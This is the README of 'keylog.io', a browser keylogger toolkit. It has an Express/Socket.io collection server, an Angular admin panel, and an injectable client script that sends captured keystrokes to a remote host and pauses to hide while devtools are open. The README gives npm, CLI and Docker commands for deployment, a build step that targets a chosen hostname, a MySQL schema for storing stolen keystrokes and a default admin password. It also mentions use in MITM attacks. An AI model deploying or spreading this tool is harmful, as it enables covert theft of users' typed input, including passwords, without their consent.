keylog.io

A express/socketio keylogger server with administrator interface

Backend

The backend consist of an expressjs webserver which serves the administrator interface using Basic HTTP Authentication customizable from the options and a socket.io server wait and handle the receiving of key logs from various sources, stores them and forward them to the administrator interface for be seen and analyzed.

Interface

The administrator interface for visualize the key logs archive and the live key logs feed from various clients is built with Angular using Angular CLI version 1.6.6. The administrator interface comes with a basic HTTP authorization which defaults to: keylog-io

Client script

The client script is a socketio.io client with key logger functions that try to hide himself by pausing when the dev-tools (inspector) is open. It catches only relevant keys and send them back to the server as a buffer with additional information, take a look at the code if you want to see more.

Installation

This project comes in three different ways, you can use it as a node module, as a command (globally installed package) or through the official docker image.

As a node module

First install the module locally using your favourite package manager:

npm install keylog.io
yarn add keylog.io

Than you can start it manually in your code when you need it:

import keyloggerServer from 'keylog.io'

keyloggerServer({
  serveDemo: true,
  serveClient: true
});

As a command

Install it as global package using your favorite package manager:

npm install -g keylog.io
yarn global add keylog.io

Once has been installed you can access it through the command keylog-io like the example below:

$ keylog-io --help

  Usage: keylog-io [options] [command]

  A express/socketio keylogger server with administrator interface

  Options:

    -V, --version  output the version number
    -h, --help     output usage information

  Commands:

    start [options]                    Start the keylogger server
    build [options] <hostname> [port]  Build the client flle for the given endpoint

You can also print the usage information for the sub commands, for example keylog-io start --help will print the start command usage informations.

As a docker container

Pull the official image from the docker hub:

docker pull b4dnewz/keylog-io

Than run it with some options to bind the port to your host:

docker run -it --rm -p 3000:3000 b4dnewz/keylog-io

You can now access it via http://localhost:3000 and you should be able to access the administrator interface.

If you want to further customize the execution you can set environment variables to enable/disable features:

docker run -d --name keylogger -p 3000:3000 -e SERVECLIENT=true b4dnewz/keylog-io

Here a list of all the available environment variables that will be forwarded to the module execution:

• SERVECLIENT: Serve the keylogger client accessible at hostname:port/client.min.js
• SERVEDEMO: Serve a demo page accessible on hostname:port/demo
• DBUSER: The database user name
• DBPASS: The database user password
• DBNAME: The database name where store the data

By default the administrator interface will have Basic HTTP Authentication with values: keylog-io

Options

For a full list of options see the default options on source code.

Database

If you want to persist the keylog entries across time or for using the archive page to analyze your findings later or using the filters and more, you must have a working MySQL instance and tell to keylog.io to use it.

It will create automatically a table called keylogs where it will store all the received keylogs from clients. You can customize the database connection options such as database name using the database.name option or more in general the database option object when starting the server.

Table structure

The default table structure created is the following but you can customize it later using a mysql client or suggest me a better structure using the issues section of this project.

CREATE TABLE IF NOT EXISTS `keylogs` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `hostname` varchar(50) NOT NULL,
  `element` varchar(50) NOT NULL,
  `key` varchar(50) NOT NULL,
  `path` varchar(255) NOT NULL,
  `timestamp` timestamp NOT NULL DEFAULT current_timestamp(),
  KEY (`id`),
  INDEX `HOSTNAME_INDEX` (`hostname`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

You can also link a database using docker links if you are using keylog.io from a container.

Todo

• Basic HTTP Authentication for administrator interface with options for username and password
• Optionally save key logs results on a MySQL database
• Change behavior, pausing and trying to hide when devtools is open
• Create different routes for live feeds and archive
• Handle mobile input events (mobile browsers support)
• Automatic database table setup when using database mode
• Test key logger performances with multiple different hosts
• Complete the administrator interface with filters, groups, labels and stuff..
• Write a good documentation with examples and video use during simulated MITM attacks
• Write tests for backend and frontend code
• Get drunk at the end of all this

---

Development

Run npm run start this will concurrently spin up the express/socketio development server and start angular-cli. It should open a browser page with the administrator interface, if not, vavigate to http://localhost:4200/. The app will automatically reload if you change any of the source files.

Also it will serve a keylogger client demo page at the address: http://localhost:3000/demo/

Code scaffolding

Run ng generate component component-name to generate a new component. You can also use ng generate directive|pipe|service|class|guard|interface|enum|module.

Build

Run npm run build to build the project. The build artifacts will be stored in the dist/ directory. Use the -prod flag for a production build.

Run npm run build-client to build the key logger-client file which is a socket.io-client module with a payload for capturing key presses and send them to a remote server.

Running unit tests

Run npm run test to execute the unit tests via Karma.

Running end-to-end tests

Run npm run e2e to execute the end-to-end tests via Protractor.
